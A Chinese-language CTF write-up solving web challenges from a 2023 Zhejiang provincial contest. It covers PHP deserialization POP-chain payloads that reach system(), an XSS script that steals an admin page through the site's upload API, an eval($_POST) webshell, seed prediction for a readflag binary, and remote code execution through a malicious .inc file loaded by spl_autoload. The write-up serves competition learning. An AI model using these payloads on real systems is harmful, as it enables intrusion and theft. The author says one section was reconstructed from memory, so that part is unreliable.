2023浙江省省赛-初赛 
决赛见
 
1.easy-php 签到题,很清楚的链子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <?php class  AAA  {    public  $cmd ;     public  function  __call ($name , $arguments  ) {         eval ($this ->cmd);         return  "done" ;     } } class  BBB  {    public  $param1 ;     public  function  __construct ($param1  ) {         $this ->param1 = $param1 ;     }     public  function  __debuginfo ( ) {         return  [             'debugInfo'  => 'param1'  . $this ->param1          ];     } } class  CCC  {    public  $func ;     public  function  __toString ( ) {         var_dump ("aaa" );         $this ->func->aaa ();     } } if (isset ($_GET ['aaa' ])){    $aaa  = $_GET ['aaa' ];     var_dump (unserialize ($aaa )); 
 
1 __debuginfo=》__toString=》__call=》eval 
 
payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php highlight_file (__FILE__ );class  AAA  {    public  $cmd ; } class  BBB  {    public  $param1 ; } class  CCC  {    public  $func ; } $a =new  CCC ();$a ->func=new  AAA ();$a ->func->cmd="system('cat /flag');" ;$b =new  BBB ();$b ->param1=$a ;echo  (serialize ($b ));?> 
 
2.my2to 上来给了源码
看关键的源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 const  puppeteer = require ("puppeteer" );const  SITE  = process.env .SITE  || 'http://localhost' ;const  ADMIN_PASSWORD  = process.env .ADMIN_PASSWORD  || 'YOU DONT NO IT' ;const  visit  = async  url => {    var  browser; 	try  { 		    browser = await  puppeteer.launch ({ 			headless : true , 			executablePath : "/usr/bin/chromium" , 			args : ['--no-sandbox' ] 		  });         page = await  browser.newPage (); 		await  page.goto (SITE ); 		await  page.waitForTimeout (500 ); 		await  page.type ('#username' , 'admin' ); 		await  page.type ('#password' , ADMIN_PASSWORD ); 		await  page.click ('#btn' ) 		await  page.waitForTimeout (800 ); 		await  page.goto (url); 		await  page.waitForTimeout (3000 ); 		await  browser.close (); 	} catch  (e) { 		console .log (e); 	} finally  { 		if  (browser) await  browser.close (); 	} } module .exports  = visit
 
这里告诉我们flag在admin的页面
题目是要xss注入,外带出admin的页面
但是比赛的时候不出网,只能用其他方法
可以看到这里有一个文件上传的内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 app.post ("/api/report" , express.json ({ type : Object  }), function  (req, res ) {     if  (!req.session .username ) return  res.send ("Login first!" );     if (reportIpsList.has (req.ip ) && reportIpsList.get (req.ip )+90  > now ()){       return  res.send (`Please comeback ${reportIpsList.get(req.ip)+90 -now()} s later!` );     }     reportIpsList.set (req.ip ,now ());     const  { url } = req.body ;     if  (typeof  url !== 'string' ) return  res.send ("Invalid URL" );     if  (!url || !RegExp ('^http://127\.0\.0\.1.*$' ).test (url)) {       return  res.status (400 ).send ('Invalid URL' );     }     try  {       vist (url);       return  res.send ("admin has visted your url" );     } catch  {       return  res.send ("some error!" );     } }); 
 
这里告诉可以利用文件上传的接口去上传admin
偷一个exp
 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <script >     if (document .domain  != "localhost" ) {       location = "http://localhost/uploads/attack.html" ;     }else {       fetch ("/todo" , {method : "GET" , credentials : "include" })       .then (res  =>  res.text ())       .then (data  =>  {         var  blob = new  Blob ([data], { type : 'text/plain'  });         var  formData = new  FormData ();         formData.append ('file' , blob, 'result.txt' );         fetch ('/api/upload' , {           method : 'POST' ,           body : formData,         });}); } </script > 
 
这里可以外带到upload上面,可以读取flag
3.Can you read flag 上来提供了一个//eval($_GET[a])
直接system(“ls /“)起手,发现了存在waf
测试了以下,用passthru(“ls /“),成功rce,读一下flag,没有权限,
?a=eval($_POST[1]);这里就直接用1作为密码链接蚁剑,连上
看到有一个/readflag,下载下来,拖入ida分析
这里可以看到使用了time0作为种子去生成随机数,可以预测
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from  pwnlib.tubes.process import  processimport  reio = process("/readflag" ) io.sendlineafter('(y/n)' , b'y' ) io.recvuntil(b'calcs:\n' ) for  i in  range (200 ):   try :        data = io.recvline().decode()        if  '?'  in  data:            data = re.sub(r'=' , '.' , data)            data = re.sub(r'\?' , ')' , data)            ans = eval (data)            io.sendline(str (ans).encode())        else :            print (data)            break     except :        print (data)        break  io.interactive() 
 
编译,上传到tmp目录下,执行就好了
看到杭电的wp是这样的
 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 int  main () {        unsigned  int  v3 = time(0 )+10 ;         unsigned  int  v9;         unsigned  int  v10;         srand(v3);         int  v11 = rand() % 101  + 100 ;         printf ("y\n" );         for  (int  i = 0 ; i < v11; ++i){                 v10 = rand() % 1000000 ;                 v9 = rand() % 9000000 ;                 printf ("%d\n" , v10+v9);         } } 
 
生成10秒之后的随机数,然后重定向到readflag内
就可以得到flag
去年决赛考过一道类似的,这里就不说了
 
4.baby php 题目提供了一个文件上传接口
提示只有管理员才可以使用
抓包,修改cookie的admin变成1然后发包
直接fuzz,发现常规的手段都被过滤掉了,没有办法
.user.ini,ph,.htaccess后缀都杯过滤了,没有啥想法
扫一下目录,看到phpinfo.php
开启了spl_autoload
spl_autoload 
php中spl_autoload详解_php技巧_脚本之家 (jb51.net) 
 
假设我们有这样一个页面
1 2 3 4 5 6 7 8 9 <?php spl_autoload_register (function($class ) {    $classFile  = __DIR__  . '/'  . $class  . '.inc' ;     if  (file_exists ($classFile )) {         require  $classFile ;     } }); 
 
在这里spl_autoload_register这个函数会将目录下面的所有php或者inc文件里面的类注册成一个可执行的类
我们只需要上传一个inc文件,然后反序列化调用这个类就好了
由于没有环境,以下都是我根据比赛时候的感觉写的(见谅)
 
反序列化的点在cookie,这里最开始的cookie是这样的
1 2 Tzo0OiJ1c2VyIjoyOntzOjQ6Im5hbWUiO047czo4OiJpc19hZG1pbiI7Tjt9 base64解码//O:4:"user":2:{s:4:"name";N;s:8:"is_admin";N;} 
 
后台对cookie的处理是这样的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php class  user   {    public  $name ;     public  $is_admin ;     public  function  __construct ( )  {     $name ="guess" ;     $is_admin =false ;     }     public  function  __destruct ( )  {         if ($this ->name=="admin" & $this ->is_admin==true )         {            echo  "win" ;         }else {             echo  "false" ;         } } }?>  
 
这样就能完成一次简单的鉴权
如果我们上传了一个恶意的inc,然后加载那个类,通过对cookie的修改,就可以完成rce
bad.inc
1 2 3 4 5 6 7 8 <?php  class  bad   { public  $a ;    public  function  __destruct ( ) {         system ($this ->a); } } ?> 
 
实例文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <?php error_log (0 );highlight_file (__FILE__ );spl_autoload_register (function($class ) {    $classFile  = __DIR__  . '/'  . $class  . '.inc' ;     if  (file_exists ($classFile )) {         require  $classFile ;     } }); class  user   {    public  $name ;     public  $is_admin ;     public  function  __construct ( )  {     $name ="guess" ;     $is_admin =false ;     }     public  function  __destruct ( )  {         if ($this ->name=="admin" & $this ->is_admin==true )         {            echo  "win" ;         }else {             echo  "false" ;         } } } $a =$_POST ['a' ];unserialize ($a ); ?>  
 
成功rce
5.sedobj java学的不好,不会,会了来复现